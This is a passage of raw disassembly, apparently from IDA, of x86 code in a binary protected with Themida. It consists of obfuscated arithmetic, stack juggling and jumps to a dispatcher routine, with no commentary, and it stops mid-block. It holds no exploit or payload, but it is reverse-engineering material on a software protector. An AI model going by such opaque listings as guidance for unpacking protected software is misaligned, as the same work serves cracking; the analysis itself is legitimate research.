--------------------------------------------------------------------------- loc_55BA35: ; CODE XREF: sub_559C84+5219j xor cl, bl mov bx, word ptr [esp-14h+arg_10] add esp, 2 xor al, cl mov ecx, [esp-18h+arg_14] add esp, 4 xor bl, al movzx eax, al push small 6AA2h mov word ptr [esp-1Ah+arg_14+2], ax jmp loc_55351F ; --------------------------------------------------------------------------- lodsb sub esp, 4 mov [esp-16h+arg_10+2], ebx mov bl, 14h push ecx mov cl, 0A2h neg cl jmp loc_55B1B3 ; --------------------------------------------------------------------------- loc_55BA6B: ; CODE XREF: sub_559C84+5CB7j add esi, eax jmp loc_55AC2F ; --------------------------------------------------------------------------- loc_55BA72: ; CODE XREF: sub_559C84+42DDj add eax, ebp pop ebp sub esp, 4 mov [esp-12h+arg_C+2], eax push [esp-12h+arg_10+2] pop eax pop [esp-12h+arg_C+2] jmp loc_55EF89 ; --------------------------------------------------------------------------- loc_55BA8B: ; CODE XREF: sub_559C84-5B87j xchg ecx, [esp+4+var_4] pop esp add ebx, 0D0B5AE6h add ebx, 3BC168C7h sub ebx, eax sub ebx, 3BC168C7h sub esp, 4 mov [esp+4+var_4], ebp jmp loc_55C756 ; --------------------------------------------------------------------------- loc_55BAAE: ; CODE XREF: sub_55DBFB+Aj add edx, 4 push 3AF8h jmp loc_55B076 ; --------------------------------------------------------------------------- loc_55BABE: ; CODE XREF: sub_5586DD+5j sub al, bl jmp loc_553B61 ; --------------------------------------------------------------------------- loc_55BAC5: ; CODE XREF: sub_559C84-26B0j shr edx, 1 cmp eax, edx jz loc_559A39 sub esp, 4 mov [esp+44h+var_46+2], esi push ebx mov ebx, 54757657h mov esi, 0F22DAF24h add esi, ebx pop ebx push ebx push ebp jmp loc_555AF4 ; --------------------------------------------------------------------------- loc_55BAEA: ; DATA XREF: Themida_:0055348Co mov cx, word ptr [esp+4Ch+var_4E+2] jmp sub_5547B0 ; --------------------------------------------------------------------------- loc_55BAF3: ; CODE XREF: sub_559C84+13B0j pop edx jmp loc_556C2A ; --------------------------------------------------------------------------- loc_55BAF9: ; CODE XREF: sub_559C84-1066j add eax, 5A8CCD7Ch mov edi, eax jmp loc_55E7B8 ; --------------------------------------------------------------------------- loc_55BB05: ; CODE XREF: sub_553EB3+13j add ebx, 0FFFFFFFFh add ebx, 1F295ADFh xor ebx, 84EC844Dh mov ecx, ebx jmp loc_559785 ; --------------------------------------------------------------------------- loc_55BB1B: ; CODE XREF: sub_559C84+CF8j dec ecx shl ecx, 8 shr ecx, 4 add ecx, 6DB7ED61h mov edi, ecx jmp loc_5557F1 ; --------------------------------------------------------------------------- loc_55BB2F: ; CODE XREF: sub_559C84+11A9j or edx, ebp pop ebp and edx, 5F467C7Fh sub esp, 4 mov [esp+46h+var_46], edi mov edi, 4AA31B83h or edx, edi pop edi sub edx, 5EE37BCFh or [edi+1Ch], edx pop edx jmp loc_55351F ; --------------------------------------------------------------------------- loc_55BB55: ; CODE XREF: sub_559C84-5FDDj mov edx, esp add edx, 4 sub edx, 4 jmp loc_55FC38 ; --------------------------------------------------------------------------- loc_55BB68: ; CODE XREF: Themida_:00556B2Ej sub ax, bx mov bx, word ptr [esp+20h+var_20] add esp, 2 sub esp, 2 mov word ptr [esp+20h+var_20], di jmp sub_5571E4 ; --------------------------------------------------------------------------- loc_55BB81: ; CODE XREF: sub_559C84+2520j pop ebp pop [esp+1Ch+var_1C] pop esp imul ecx, eax push ecx pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55BB90: ; CODE XREF: sub_559C84+4236j push eax push ebp mov ebp, 315F1307h sub [esp+24h+var_20], 264071FDh jmp sub_557B4C ; --------------------------------------------------------------------------- loc_55BBA4: ; CODE XREF: sub_559C84+1661j mov [esp+5Ch+var_5C], ebx jmp loc_55527A ; --------------------------------------------------------------------------- loc_55BBAC: ; DATA XREF: Themida_:00553484o mov esp, [esp+5Ch+var_5C] jmp loc_55351F ; --------------------------------------------------------------------------- loc_55BBB4: ; CODE XREF: sub_55EB5B-AF16j push ecx jmp loc_55D1E8 ; --------------------------------------------------------------------------- loc_55BBBA: ; CODE XREF: sub_558684+19j push ebx mov ebx, esp push ebp mov ebp, 75B20A2Bh inc ebp sub ebp, 5F76744Eh or ebp, 13E038DBh jmp loc_55F314 ; --------------------------------------------------------------------------- loc_55BBD5: ; CODE XREF: sub_559C84-1511j pop esp add esp, 4 push ecx push esp pop ecx push edi mov edi, 2FCF11FBh inc edi dec edi or edi, 62F9548Dh shl edi, 7 jmp loc_556ACE ; --------------------------------------------------------------------------- loc_55BBF5: ; CODE XREF: sub_559C84+561Fj pop ecx mov ebp, [esp+4Ah+var_4A] add esp, 4 pop edx sub edx, 315F1307h jmp loc_55351F ; --------------------------------------------------------------------------- loc_55BC08: ; CODE XREF: sub_559C84-498Cj pop ax push ecx mov cl, 3 jmp loc_556E59 ; --------------------------------------------------------------------------- loc_55BC12: ; DATA XREF: Themida_:00553268o push dword ptr [edi+1Ch] popf pop ax sbb word ptr [esp+48h+var_4A+2], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55BC22: ; CODE XREF: sub_559C84+25D0j add [esp+4Ch+var_4A+2], ebx mov ebx, [esp+4Ch+var_4E+2] jmp loc_55C687 ; --------------------------------------------------------------------------- loc_55BC2E: ; CODE XREF: sub_559C84+5B8Dj add esp, 4 push 0A03h mov [esp+4Ch+var_4E+2], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+4Ch+var_4E+2] pop esp jmp loc_55C52B ; --------------------------------------------------------------------------- loc_55BC53: ; CODE XREF: sub_559C84+3E9Fj pop edi push esi not [esp+48h+var_4A+2] mov esi, [esp+48h+var_4A+2] jmp loc_558CB4 ; --------------------------------------------------------------------------- loc_55BC60: ; CODE XREF: sub_559C84-12C8j mov edx, [esp+4Ah+var_4A] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+4Eh+var_4E] jmp loc_553E14 ; --------------------------------------------------------------------------- loc_55BC7A: ; CODE XREF: sub_559C84-1F56j push ecx mov ecx, 46E211F7h sub eax, 6E2A058Ch push esi push ebx push edi mov edi, 3B423A06h xor edi, 7B240D90h and edi, 250C67B8h sub edi, 0BBC4695h inc edi dec edi add edi, 891160F4h mov ebx, edi pop edi not ebx xor ebx, 0EF7FAF98h mov esi, ebx pop ebx and esi, 6F274CF0h xor esi, 74C7213Dh add eax, esi jmp loc_55DCD3 ; --------------------------------------------------------------------------- loc_55BCC8: ; CODE XREF: Themida_:00557528j mov ecx, 47942D5h add edx, ecx mov ecx, [esp+48h+var_4A+2] add esp, 4 add edx, 2E8A7CFDh sub edx, 3DA46439h jmp loc_5567A1 ; --------------------------------------------------------------------------- loc_55BCE9: ; CODE XREF: sub_559C84-40F1j add esp, 4 push ebp push 75DA04F6h pop ebp jmp loc_55B4EA ; --------------------------------------------------------------------------- loc_55BCFB: ; CODE XREF: sub_559C84-7B3j mov edi, esp push eax jmp loc_5550C1 ; --------------------------------------------------------------------------- loc_55BD03: ; CODE XREF: sub_559C84+4020j mov edi, 4 add ebp, 65732130h jmp loc_555137 ; --------------------------------------------------------------------------- loc_55BD13: ; CODE XREF: sub_559C84-3A81j mov [esp-14h+arg_10], esp jmp loc_554FCE ; --------------------------------------------------------------------------- loc_55BD1B: ; CODE XREF: sub_559C84+152Aj xor ebp, eax pop eax jmp loc_5557DA ; --------------------------------------------------------------------------- loc_55BD23: ; CODE XREF: sub_559C84-3119j mov edi, 1F346DA8h push ebx jmp loc_55654E ; --------------------------------------------------------------------------- loc_55BD2E: ; DATA XREF: Themida_:00553290o neg word ptr [esp-0Eh+arg_8+2] pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55BD38: ; CODE XREF: sub_559C84-4ACDj pop edx push edi push eax jmp loc_558C0D ; --------------------------------------------------------------------------- loc_55BD40: ; CODE XREF: sub_559C84-2F3Aj push esi push eax mov eax, 48741D88h jmp loc_55A7E7 ; --------------------------------------------------------------------------- loc_55BD4C: ; CODE XREF: sub_559C84-3606j sub [esp+66h+var_60+2], 418750Eh pop ebx jmp loc_55D99D ; --------------------------------------------------------------------------- loc_55BD5A: ; DATA XREF: Themida_:00553438o mov ax, word ptr [esp+62h+var_64+2] push eax push esp jmp loc_55FB73 ; --------------------------------------------------------------------------- loc_55BD65: ; CODE XREF: sub_559C84+3B89j add esp, 4 push esi push dword ptr [esp+4] pop esi jmp loc_55D370 ; --------------------------------------------------------------------------- loc_55BD76: ; CODE XREF: sub_5591C7-1B93j pop edi jmp loc_55A660 ; --------------------------------------------------------------------------- loc_55BD7C: ; CODE XREF: sub_559C84-F2Aj push 5653h mov [esp+32h+var_34+2], ecx mov ecx, 22B32E63h jmp loc_55F8C0 ; --------------------------------------------------------------------------- loc_55BD8E: ; CODE XREF: sub_559C84+4E35j xor [esp+32h+var_34+2], edx jmp loc_55771E ; --------------------------------------------------------------------------- loc_55BD96: ; CODE XREF: sub_559C84-2980j add esp, 4 jmp loc_555640 ; --------------------------------------------------------------------------- loc_55BD9E: ; CODE XREF: sub_559C84-38C8j add esp, 4 push eax mov eax, 9843463h xor eax, 183171C5h add eax, 2E150609h shl eax, 7 neg eax push ebp mov ebp, 1ADA2882h xor eax, ebp pop ebp add edi, eax jmp loc_55ACB8 ; --------------------------------------------------------------------------- loc_55BDC6: ; CODE XREF: sub_559C84-3E1Aj mov eax, [esp+4Eh+var_4E] add esp, 4 add ebp, 4 xchg ebp, [esp+4Ah+var_4A] pop esp push 2DECh jmp loc_55B0F7 ; --------------------------------------------------------------------------- loc_55BDDD: ; CODE XREF: sub_559C84-120Ej sub edx, ebx pop ebx xor edx, 13697E65h xor edx, 6E76FE6Eh jmp loc_558981 ; --------------------------------------------------------------------------- loc_55BDF1: ; CODE XREF: sub_559C84+19DDj xor ecx, edx pop edx jmp loc_5585D3 ; --------------------------------------------------------------------------- loc_55BDF9: ; CODE XREF: sub_559C84+490Ej add edx, ebp jmp loc_556ABA ; --------------------------------------------------------------------------- loc_55BE00: ; CODE XREF: sub_559C84+7F5j add edx, 4 xchg edx, [esp+0] pop esp jmp loc_559238 ; --------------------------------------------------------------------------- loc_55BE0C: ; CODE XREF: sub_559C84+16F1j add esp, 4 push ecx mov ecx, 2 add ebp, ecx jmp loc_55DE5E ; --------------------------------------------------------------------------- loc_55BE1F: ; CODE XREF: sub_559C84+29FEj push ebx pop edx push 2938h mov [esp+38h+var_3A+2], edx add [esp+38h+var_3A+2], 2716582Eh jmp loc_55E20E ; --------------------------------------------------------------------------- loc_55BE35: ; CODE XREF: Themida_:0055E3D0j mov ebp, ecx mov edi, ebp pop ebp pop ecx add esi, edi jmp loc_5543FB ; --------------------------------------------------------------------------- loc_55BE42: ; CODE XREF: sub_55F608-819Fj mov edx, 3D9FAEh sub ecx, edx push [esp+30h+var_30] pop edx jmp loc_55558E ; --------------------------------------------------------------------------- loc_55BE52: ; CODE XREF: sub_559C84-1BF8j add esp, 4 xchg ebp, [esp+4Ch+var_4E+2] pop esp mov [esp+48h+var_4A+2], ecx mov ecx, 638F4766h add ecx, 0FFFFFFFFh shr ecx, 4 push edi push ecx mov ecx, 30E02BF6h jmp loc_55759B ; --------------------------------------------------------------------------- loc_55BE73: ; CODE XREF: sub_559C84+1193j add edx, ebp sub edx, 72807FFEh mov ebp, [esp+2Ch+var_2C] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+30h+var_30] pop esp push ebp push esi jmp loc_558D42 ; --------------------------------------------------------------------------- loc_55BE98: ; CODE XREF: sub_559C84-31F8j pop ecx jmp loc_55D7CF ; --------------------------------------------------------------------------- loc_55BE9E: ; CODE XREF: sub_559C84-57FAj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-0Ch+arg_8] pop esp push esi jmp loc_55D04C ; --------------------------------------------------------------------------- loc_55BEB4: ; CODE XREF: sub_559C84+4D1Fj mov eax, 4 add ebx, eax pop eax xchg ebx, [esp-10h+arg_C] pop esp jmp loc_55A3D7 ; --------------------------------------------------------------------------- loc_55BEC5: ; CODE XREF: Themida_:00553F51j sub edi, 48AD57DBh push ebp mov ebp, 7A1F1DB0h add edi, ebp pop ebp or edi, 5F6B1DA3h neg edi push ebp mov ebp, 65F911B1h shr ebp, 5 inc ebp add ebp, 734D7BE6h sub ebp, 0D5F90267h jmp loc_553715 ; --------------------------------------------------------------------------- loc_55BEF7: ; CODE XREF: sub_559C84-1533j mov ecx, 4 jmp loc_55DF18 ; --------------------------------------------------------------------------- loc_55BF01: ; CODE XREF: sub_559C84-3644j add eax, esi pop esi add eax, ebx sub eax, 6EB04D56h jmp loc_553705 ; --------------------------------------------------------------------------- loc_55BF10: ; CODE XREF: sub_559C84+824j xor ecx, edi pop edi shr ecx, 2 jmp loc_55B1CC ; --------------------------------------------------------------------------- loc_55BF1B: ; CODE XREF: sub_559C84+4AC8j xchg esi, [esp+38h+var_3A+2] pop esp sar [esp+34h+var_34], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55BF28: ; CODE XREF: Themida_:0055DEEDj pop ebx push ecx push ebx push 575F6D53h mov ebx, [esp+40h+var_42+2] push eax mov eax, esp add eax, 4 jmp loc_55B064 ; --------------------------------------------------------------------------- loc_55BF40: ; CODE XREF: sub_559C84-43E1j add edx, 2AF5446h and ebx, edx pop edx push ebx not [esp+4+var_4] pop ebx not ebx add ebx, 72AC60D1h add ebx, 89522A11h jmp loc_55B226 ; --------------------------------------------------------------------------- loc_55BF61: ; CODE XREF: sub_55F389-1F6j add esp, 4 add eax, 4 push ecx mov ecx, 4 add eax, 0B3A65AAh add eax, ecx sub eax, 0B3A65AAh pop ecx jmp loc_556D93 ; --------------------------------------------------------------------------- loc_55BF81: ; CODE XREF: sub_559C84+569Dj add esi, 4 jmp loc_5552FD ; --------------------------------------------------------------------------- loc_55BF8C: ; CODE XREF: sub_559C84+33C3j mov ecx, [esp-4+arg_0] push ebp jmp loc_559661 ; --------------------------------------------------------------------------- loc_55BF95: ; CODE XREF: sub_557976+178Cj mov al, ch pop ecx dec dh xor al, dh xor dh, al xor al, dh push edx mov dl, 6 dec dl neg dl xor dl, 3 sub al, dl jmp loc_55E65B ; --------------------------------------------------------------------------- loc_55BFB1: ; CODE XREF: sub_559C84+E51j push eax mov eax, esp jmp loc_554BED ; --------------------------------------------------------------------------- loc_55BFB9: ; CODE XREF: sub_55E1F9+DE8j add ecx, 1F501FF0h pop ebp dec ecx xor ecx, 19142CBEh shl ecx, 5 shl ecx, 5 shr ecx, 6 jmp sub_556FC2 ; --------------------------------------------------------------------------- loc_55BFD5: ; CODE XREF: sub_559C84+87Fj mov eax, [esp+44h+var_46+2] jmp loc_55C2D1 ; --------------------------------------------------------------------------- loc_55BFDD: ; CODE XREF: sub_559C84-511Cj push [esp+46h+var_42] push [esp+4Ah+var_4A] mov ebx, [esp+4Eh+var_4E] add esp, 4 add esp, 4 pop [esp+46h+var_46] mov esp, [esp+42h+var_42] jmp loc_55FAA1 ; --------------------------------------------------------------------------- loc_55BFF8: ; CODE XREF: sub_559C84-4BB2j shl eax, 2 push ecx mov ecx, 34AF43EAh add ecx, 0FFFFFFFFh jmp loc_55DB4C ; --------------------------------------------------------------------------- loc_55C00C: ; CODE XREF: Themida_:0055EE82j pop eax add esi, ebx mov ebx, [esp+0Ch+var_C] add esp, 4 xor esi, [esp+8+var_8] xor [esp+8+var_8], esi xor esi, [esp+8+var_8] mov esp, [esp+8+var_8] bts word ptr [esp+8+var_8], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55C02F: ; CODE XREF: sub_5598F1+27j dec edi shr edi, 7 jmp loc_55F660 ; --------------------------------------------------------------------------- loc_55C038: ; CODE XREF: sub_559C84-138Fj xor eax, 521061E8h push ecx mov ecx, 46802789h xor eax, ecx pop ecx mov esi, eax pop eax jmp loc_55E239 ; --------------------------------------------------------------------------- loc_55C04E: ; CODE XREF: Themida_:00553BE1j mov eax, 60BD0A7Bh dec eax neg eax add eax, 5B74618Ah shl eax, 4 jmp loc_555EC1 ; --------------------------------------------------------------------------- loc_55C063: ; CODE XREF: Themida_:00557BDEj push ecx push edx mov dl, 6Ch mov ch, 98h sub ch, dl jmp loc_55908E ; --------------------------------------------------------------------------- loc_55C070: ; CODE XREF: sub_559C84-5FD7j push ecx mov ecx, 446F0D24h shr ecx, 7 shr ecx, 3 xor ecx, 35BF4C21h add eax, 35FA528Ch add eax, ecx sub eax, 35FA528Ch pop ecx sub eax, edi sub eax, 35AE57E2h push [esp+1Ch+var_1C] pop edi sub esp, 4 mov [esp+20h+var_20], edx push esp pop edx jmp loc_55ABD5 ; --------------------------------------------------------------------------- loc_55C0AA: ; CODE XREF: sub_555531+9254j pop ebx shr ecx, 7 push ebp push eax mov eax, 76675625h dec eax sub eax, 8ED678Eh add eax, 0F7D86A41h jmp loc_558D67 ; --------------------------------------------------------------------------- loc_55C0C5: ; CODE XREF: sub_559C84-38EAj add ecx, 183D744Eh jmp loc_554681 ; --------------------------------------------------------------------------- loc_55C0D0: ; CODE XREF: sub_554404+Cj xchg ebp, [esp+56h+var_58+2] pop esp push esi pop dword ptr [edx+38h] push [esp+52h+var_52] mov esi, [esp+56h+var_58+2] push 0DB4h jmp loc_554B1D ; --------------------------------------------------------------------------- loc_55C0E8: ; CODE XREF: sub_559C84+AB0j mov ebx, [esp+48h+var_4A+2] push edx jmp loc_5563F4 ; --------------------------------------------------------------------------- loc_55C0F1: ; DATA XREF: Themida_:00553488o lodsd sub eax, 3871499Eh jmp loc_55ADCD ; --------------------------------------------------------------------------- loc_55C0FC: ; CODE XREF: sub_559C84-2F15j mov ecx, [esp+5Eh+var_60+2] add esp, 4 pop edx push esi jmp loc_55C9FC ; --------------------------------------------------------------------------- loc_55C10C: ; CODE XREF: sub_555C35+2B92j and ebx, ebp mov ebp, [esp+5Ah+var_5C+2] add esp, 4 push eax mov eax, 39E6E29h and ebx, eax pop eax and ebx, 676268BBh push ebp mov ebp, 3023FFCh sub ebx, ebp mov ebp, [esp+5Ah+var_5C+2] jmp loc_55B0E4 ; --------------------------------------------------------------------------- loc_55C136: ; CODE XREF: sub_559C84+2B80j neg esi push eax jmp loc_55D756 ; --------------------------------------------------------------------------- loc_55C13E: ; CODE XREF: Themida_:00555723j sub al, 43h add al, bl push ebx mov bh, 23h jmp loc_55956B ; --------------------------------------------------------------------------- loc_55C14A: ; CODE XREF: sub_559C84+1A2j mov edi, 0F4F7F5Fh shl edi, 7 neg edi shr edi, 7 add edi, 1C063E1Ah jmp loc_553D2B ; --------------------------------------------------------------------------- loc_55C162: ; CODE XREF: sub_559C84-531Fj add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx mov ecx, [esp+4Ah+var_4A] add esp, 4 xor ebp, [esp+46h+var_46] xor [esp+46h+var_46], ebp xor ebp, [esp+46h+var_46] pop esp mov [esp+42h+var_42], edi mov edi, 4 add ebp, edi mov edi, [esp+42h+var_42] add esp, 4 push eax mov eax, 4 add ebp, eax pop eax push ebp push [esp+42h+var_3E] jmp loc_55BB81 ; --------------------------------------------------------------------------- loc_55C1A9: ; CODE XREF: sub_559AA2-31B8j not eax shr eax, 5 sub eax, 68907B00h inc eax dec eax push esi mov esi, 4D790346h dec esi shl esi, 5 neg esi add esi, 757D80DDh add eax, esi pop esi jmp loc_5541DC ; --------------------------------------------------------------------------- loc_55C1CF: ; CODE XREF: sub_559C84+5167j add edx, ebp pop ebp xchg edx, [esp+42h+var_42] pop esp movsx ecx, ax jmp loc_55A630 ; --------------------------------------------------------------------------- loc_55C1DE: ; CODE XREF: sub_559C84-2810j push bx mov bh, 31h jmp loc_556D4F ; --------------------------------------------------------------------------- loc_55C1E7: ; CODE XREF: sub_559C84-65EBj xor [esp+12h+var_14+2], esi xor esi, [esp+12h+var_14+2] mov esp, [esp+12h+var_14+2] mov ax, word ptr [esp+12h+var_14+2] jmp loc_55F7D6 ; --------------------------------------------------------------------------- loc_55C1F9: ; CODE XREF: sub_559C84+E30j pop ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_558749 ; --------------------------------------------------------------------------- loc_55C20B: ; CODE XREF: sub_559C84-2E30j mov ecx, [esp+56h+var_58+2] push esi mov esi, esp push ebx mov ebx, esp jmp loc_5595D4 ; --------------------------------------------------------------------------- loc_55C219: ; CODE XREF: sub_559C84-F18j neg ebp sub ebp, 99F46AE2h xor ecx, ebp jmp loc_55C794 ; --------------------------------------------------------------------------- loc_55C228: ; CODE XREF: sub_559C84+3272j push esp pop ebp push ebx mov ebx, 43271717h dec ebx xor ebx, 308D7987h jmp loc_55A6C3 ; --------------------------------------------------------------------------- loc_55C23C: ; CODE XREF: sub_559C84-56F8j add [esp+20h+var_20], 37747E56h push esi mov esi, 1CAC02BDh sub [esp+24h+var_20], esi pop esi push ebx mov ebx, 0CC6158Dh jmp loc_55BC22 ; --------------------------------------------------------------------------- loc_55C259: ; CODE XREF: sub_559C84+4DC9j push [esp+24h+var_20] mov esi, [esp+28h+var_28] add esp, 4 pop [esp+24h+var_24] pop esp push 15A7h jmp loc_555CFF ; --------------------------------------------------------------------------- loc_55C274: ; CODE XREF: sub_55F9FD-6D4Ej add esi, 4 xchg esi, [esp+20h+var_20] jmp loc_55979D ; --------------------------------------------------------------------------- loc_55C27F: ; CODE XREF: Themida_:00556A11j mov dh, 0A0h xor dh, al jmp loc_55B82C ; --------------------------------------------------------------------------- loc_55C288: ; CODE XREF: sub_559C84-5994j add esp, 4 push edi mov edi, 44DB763Bh inc edi neg edi push ebp mov ebp, 0BB2489C6h xor edi, ebp pop ebp sub ebp, edi jmp loc_55B093 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-10h+arg_C] push 4C82h mov [esp-0Ch+arg_8], eax mov eax, esp push edi mov edi, 2B514008h push ebp mov ebp, 2AAA0DB8h shl ebp, 8 sub ebp, 3E5294A5h add edi, ebp jmp loc_559BD2 ; --------------------------------------------------------------------------- loc_55C2D1: ; CODE XREF: sub_559C84+2354j push 76EEh mov [esp+48h+var_4A+2], eax mov eax, esp add eax, 4 push ebx jmp loc_55D4AA ; --------------------------------------------------------------------------- loc_55C2E6: ; CODE XREF: sub_559C84+138j mov ebx, edx pop edx not ebx jmp loc_55F236 ; --------------------------------------------------------------------------- loc_55C2F0: ; CODE XREF: sub_559C84+45CDj xor [esp+46h+var_46], edx xor edx, [esp+46h+var_46] mov esp, [esp+46h+var_46] or [esp+46h+var_46], eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55C302: ; CODE XREF: sub_559C84-359Dj mov esi, [esp+0] jmp loc_55AFDB ; --------------------------------------------------------------------------- loc_55C30A: ; CODE XREF: sub_559C84-70Dj push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+62h+var_64+2] pop esp push edx jmp loc_555551 ; --------------------------------------------------------------------------- loc_55C31F: ; CODE XREF: sub_559C84-4B7Cj push ebp jmp loc_55A270 ; --------------------------------------------------------------------------- loc_55C325: ; CODE XREF: sub_559C84-416Cj xor edx, 48C14AF0h xor edx, 51EE5BB1h jmp sub_55DE4E ; --------------------------------------------------------------------------- loc_55C336: ; CODE XREF: sub_559C84-299Aj push edx jmp loc_55AB85 ; --------------------------------------------------------------------------- loc_55C33C: ; CODE XREF: sub_559C84+5D2Bj mov edx, 3ED14A34h mov ebx, 0CB43D00Bh add ebx, edx pop edx push esi mov esi, 21EA6207h or ebx, esi jmp loc_55EE87 ; --------------------------------------------------------------------------- loc_55C356: ; CODE XREF: sub_559C84+594Aj mov [esp+2+var_4+2], esi jmp loc_558C73 ; --------------------------------------------------------------------------- loc_55C35E: ; CODE XREF: sub_55895E-50EDj add edi, ebp pop ebp xchg edi, [esp+0] jmp loc_55D6B9 ; --------------------------------------------------------------------------- loc_55C369: ; CODE XREF: sub_559C84-4738j mov esp, [esp+4+var_4] jmp loc_55712D ; --------------------------------------------------------------------------- loc_55C371: ; CODE XREF: sub_559C84+3F4Dj add ebx, 52830424h mov ecx, ebx pop ebx mov ebx, 8EC72F3Ch sub ebx, ecx pop ecx not ebx sub ebx, 0BA7659Bh shl ebx, 2 xchg ebp, ebx not ebp xchg ebp, ebx jmp loc_55B755 ; --------------------------------------------------------------------------- loc_55C398: ; CODE XREF: sub_559C84-3321j xchg edx, [esp+0] pop esp jmp loc_55FB8B ; --------------------------------------------------------------------------- loc_55C3A1: ; CODE XREF: sub_559C84-315Dj pop ecx jmp loc_554A70 ; --------------------------------------------------------------------------- loc_55C3A7: ; CODE XREF: sub_559C84-89Ej pop edx pop ebp xchg eax, [esp+1Ah+var_1C+2] mov esp, [esp+1Ah+var_1C+2] imul cx, ax push cx pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55C3BB: ; CODE XREF: sub_559C84+16CFj mov edx, 277D3AA7h mov esi, edx pop edx jmp loc_55A358 ; --------------------------------------------------------------------------- loc_55C3C8: ; CODE XREF: sub_559C84+4087j inc ebx xor ebx, 0EDC1155h xor ebx, 5D94B254h add edx, ebx pop ebx xchg edi, edx not edi xchg edi, edx sub edx, 0FFFFFFFFh add edx, 0D47611E6h sub eax, edx mov edx, [esp+0] jmp loc_55EC96 ; --------------------------------------------------------------------------- push [esp+arg_0] jmp loc_554553 ; --------------------------------------------------------------------------- loc_55C3FD: ; CODE XREF: sub_559C84+17AFj push 593Bh mov [esp+5Ch+var_5C], ecx jmp loc_55DE6E ; --------------------------------------------------------------------------- loc_55C40A: ; CODE XREF: sub_559C84+53F9j xchg ebp, [esp+5Ch+var_5C] jmp loc_55B3BE ; --------------------------------------------------------------------------- loc_55C412: ; CODE XREF: Themida_:0055518Ej push esp mov ebp, [esp+60h+var_60] jmp loc_55B0D1 ; --------------------------------------------------------------------------- loc_55C41B: ; CODE XREF: sub_559C84-2B8Fj push edi mov edi, 18695248h sub edi, 516B1F1Bh xor edi, 336D116Fh sub edi, 82380346h add ebx, 474B107Dh sub ebx, edi sub ebx, 474B107Dh pop edi jmp loc_5586C2 ; --------------------------------------------------------------------------- loc_55C447: ; CODE XREF: Themida_:0055833Dj jmp loc_55351F ; --------------------------------------------------------------------------- loc_55C44C: ; CODE XREF: sub_559C84+1Bj mov [esp+62h+var_64+2], ecx jmp loc_55DB2F ; --------------------------------------------------------------------------- loc_55C454: ; CODE XREF: sub_5555E0+1j mov ebp, 743F5127h shl ebp, 3 jmp loc_556941 ; --------------------------------------------------------------------------- loc_55C461: ; DATA XREF: Themida_:005534A4o push [esp+62h+var_64+2] pop ecx sub esp, 4 mov [esp+0], ecx mov ecx, esp push ebx mov ebx, 253448C2h jmp loc_558764 ; --------------------------------------------------------------------------- loc_55C47B: ; CODE XREF: sub_559C84-82Aj xor [esp+50h+var_52+2], edi xor edi, [esp+50h+var_52+2] jmp loc_55E1AD ; --------------------------------------------------------------------------- loc_55C486: ; CODE XREF: sub_559C84-57B8j sub ecx, 0B3CF4481h sub ebx, 27AF0100h sub ebx, ecx add ebx, 27AF0100h jmp loc_5573E2 ; --------------------------------------------------------------------------- loc_55C49F: ; DATA XREF: Themida_:00553270o lodsd jmp loc_5549C3 ; --------------------------------------------------------------------------- loc_55C4A5: ; CODE XREF: sub_559C84-F3Dj push edi mov edi, esi mov ebp, edi pop edi pop esi jmp loc_55D847 ; --------------------------------------------------------------------------- loc_55C4B1: ; CODE XREF: sub_559C84+43ACj mov bh, ch pop ecx push ecx sub esp, 4 mov [esp+0], edx mov dh, bh mov cl, dh pop edx jmp loc_55C617 ; --------------------------------------------------------------------------- loc_55C4C5: ; CODE XREF: sub_559C84-4414j mov ax, word ptr [esp+40h+var_42+2] push ebp push esp mov ebp, [esp+48h+var_4A+2] jmp loc_55DC9D ; --------------------------------------------------------------------------- loc_55C4D3: ; CODE XREF: sub_559C84+5407j mov esi, 0A01628Fh add esi, 2BCE1E83h sub esi, eax sub esi, 2BCE1E83h pop eax not esi neg esi push eax mov eax, 739258C6h sub esi, eax push [esp+48h+var_4A+2] jmp loc_559E6F ; --------------------------------------------------------------------------- loc_55C4FB: ; CODE XREF: sub_559C84-AF2j mov esi, [esp+2Ah+var_2C+2] push edx mov edx, esp add edx, 4 jmp loc_557C53 ; --------------------------------------------------------------------------- loc_55C50C: ; CODE XREF: sub_559C84+2B9Cj mov ch, 99h push edx mov dl, 93h sub al, 45h sub al, 0E7h add al, dl add al, 0E7h add al, 45h pop edx add al, ch sub al, 93h jmp loc_559C4B ; --------------------------------------------------------------------------- loc_55C525: ; CODE XREF: sub_559C84-124Aj push ecx jmp loc_55A1F5 ; --------------------------------------------------------------------------- loc_55C52B: ; CODE XREF: sub_559C84+1FCAj mov [esp+48h+var_4A+2], esi push 6F76h mov [esp+4Ch+var_4E+2], ebp pop esi pop ebp xor eax, esi xor esi, eax xor eax, esi push 151h mov [esp+48h+var_4A+2], ebp sub esp, 4 mov [esp+4Ch+var_4E+2], ecx push ebx jmp sub_5555E0 ; --------------------------------------------------------------------------- loc_55C555: ; CODE XREF: sub_559C84+576Aj push edi jmp loc_559E2B ; --------------------------------------------------------------------------- loc_55C55B: ; CODE XREF: sub_555BE3+1BECj push 332Eh mov [esp+58h+var_58], esp add [esp+58h+var_58], 4 pop edi add edi, 4 sub edi, 4 xchg edi, [esp+0] jmp loc_557574 ; --------------------------------------------------------------------------- loc_55C57C: ; CODE XREF: sub_559C84+5AFBj not eax sub eax, 0EBEACFE4h add esi, eax pop eax sub esi, 4 xchg esi, [esp+50h+var_52+2] pop esp jmp loc_55EC1E ; --------------------------------------------------------------------------- loc_55C595: ; CODE XREF: sub_559C84+5B4Dj push 7B39h mov [esp+50h+var_52+2], ebp mov ebp, 5AFB48D9h push ebx mov ebx, ebp push 7CF8h mov [esp+58h+var_58], ebx push ebx mov ebx, 7A415FCFh sub [esp+5Ch+var_58], ebx 